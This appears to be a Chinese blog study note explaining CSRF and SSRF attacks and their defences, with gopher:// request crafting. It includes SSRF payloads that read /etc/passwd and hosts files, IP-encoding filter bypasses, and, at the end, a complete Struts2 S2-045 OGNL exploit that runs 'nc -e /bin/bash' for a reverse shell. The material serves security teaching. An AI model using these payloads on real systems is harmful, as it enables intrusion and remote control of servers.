CSRF与SSRF

Cross-site Request Forgery

跨站请求伪造CSRF

核心是让受害者用自己的cookie取发送攻击者的请求

-- 借助社工对网站身份的恶意利用

1.用户在某网站A进行登录-------->身份验证成功,返回cookie给用户---------->攻击者构建一个网站F,诱使用户使用同一浏览器进入------------->网站F收到用户请求后,返回恶意代码给用户,强制他访问网站A---------->用户浏览器在网站A上执行相关操作(以已经持有的cookie)

#同源策略并不阻止一个网站向另一个域提出请求,但它确实阻止提出请求的网站处理跨域请求的响应

攻击将所有请求参数放入隐藏表单字段中, 并包含一段用于自动提交表单的脚本,用户的浏览器提交此表单时, 将自动添加用户的目标域的cookie,并且应用程序会正常处理生成的请求。如果管理用户登录到易受攻击的应用程序,并访问攻击者的包含此表单的Web页面,该请求将在管理员的会话中处理,攻击者的账户因此得以创建

#XSS:
直接控制用户浏览器,然后再执行相关操作,#若有请求,Referer自动为本站
#CSRF:
通过伪装(伪造、更改状态的请求)用户身份(即盗用身份),通过服务器身份认证后,然后发送恶意请求(服务器会认为请求是合法的),#Referer为外站

#防御:
1.设置会话过期
2.敏感操作根据Cookie动态生成token嵌入表单中;
3.设置交互操作比如密保,验证码等
3.检测Referer字段,设置白名单


#Token  针对敏感页面动态生成,每次提交都验证,交互模式                                   
   例如token=base64(RSA(uid.时间戳.随机数.过期时间.签名等等))
   1.客户端每次刷新访问敏感页面,服务端绑定Cookie会生成随机token发送给客户端;
   2.每次访问敏感页面都会动态生成token很快过期,只有在访问的时候提交,服务器才能验证通过刚刚的请求下发的token,不通过会否认此处提交
-- 改密码
<form method="GET" action="#">
	新密码:<br>
	<input type="password" name="password_new" autocomplete="off"><br>
	确认密码:<br>
	<input type="password" name="password_conf" autocomplete="off"><br>
	<br>
	<input type="submit" name="Change" value="Change">
<input type="hidden" value="3b62f7ca53d9aa5b31dde6051c039d8a" name="user_token">
</form>

CSRF:
1.因此黑客制作的表单的token值是黑客自己的Cookie映射的,受害者访问对应页面时改的是黑客的密码
2.想要绕过,需要制作一个能够访问http://目标服务器/change.php的HTML文件,里面的js实现填写对应表单的密码(代码里黑客写死的),而这种情况势必触发同源策略.(HTML文件存在是黑客的攻击服务器)


Server-Site Request Forgery

服务端请求伪造SSRF

1.原理
SSRF漏洞成因:
-- 服务端提供了从其他服务器应用获取数据的功能;
-- 服务端对目标地址未做过滤与限制 。
攻击目标:一般情况下 , SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)

2.危害
2.1对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
2.2攻击运行在内网或本地的应用程序。
2.3对内网 Web应用进行指纹识别,识别企业内部的资产信息 。
2.4攻击内外网的Web应用,主要是使用 HTTP GET请求就可以实现的攻击(比如struts2 、 SQli等) 
2.5利用自file协议读取本地文件等 。

dict:// gopher:// data:// file:// http://
#端口扫描
?url=dict://192.168.1.4:80
#读取系统本地文件
url=file://c:\windows\system32\drivers\etc\hosts
url=file://../../../../etc/passwd
#绕过
1.url=http://www.x.com@10.0.0.1  实际访问的是@后面的
2.将IP地址进行进制转换。url=http://2021942054
域名/IP     获取的IP地址       数字地址     运营商         IP的物理位置
woniu.com  120.132.99.38    2021942054   电信&联通       中国江苏苏州 ip138提供


#漏洞挖掘
图片加载下载、分享页面、收藏、点赞、在线翻译、未公开的api

从URL中的关键字进行挖掘:
?query=
api
mark
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain


#防御

1.限制协议:白名单
限制请求的端口只能为Web端口,只允许访问 HTTP和HTTPS 的请求,禁止其他协议。
2.限制IP:
目的:避免应用被用来获取内网数据,攻击内网。
对传入的url进行过滤,将符合内网IP特征的信息过滤掉。
3.限制端口:
限制请求的端口为http常用的端口,比如8044380808090等。
对于其他异常端口则进行过滤,如3306等。
4.过滤返回信息:
验证并过滤远程服务器对请求的响应,是比较简单防御方法。比如说原本服务器这个功能是用来识图的,那么如果接受到的响应发现不是一张图片,则过滤掉。
5.统一错误信息:
避免攻击者根据错误信息来判断远端服务器的端口状态,比如错误信息全部改为404#gopher://默认端口是70
Gopher协议格式:
URL:gopher://<host>:<port>/<gopher-path>/_后接TCP数据流
如gopher://192.168.0.119:2333/_abcd  abcd即发过去的数据流

1.GET型的HTTP包
GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 192.168.0.109

gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A
问号(?)需要转码为URL编码,回车换行要变为%0d%0a,HTTP包的最后要加%0d%0a,代表消息结束(

2.POST型HTTP包
POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11
name=Margin

如果多个参数,参数之间的&也需要进行URL编码
gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0A%0d%0aname=Margin%0d%0A


#gopher协议反弹shell
搭配Struts2-045漏洞
payload:
GET /S2-045/ HTTP/1.1
Host: 192.168.0.119
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值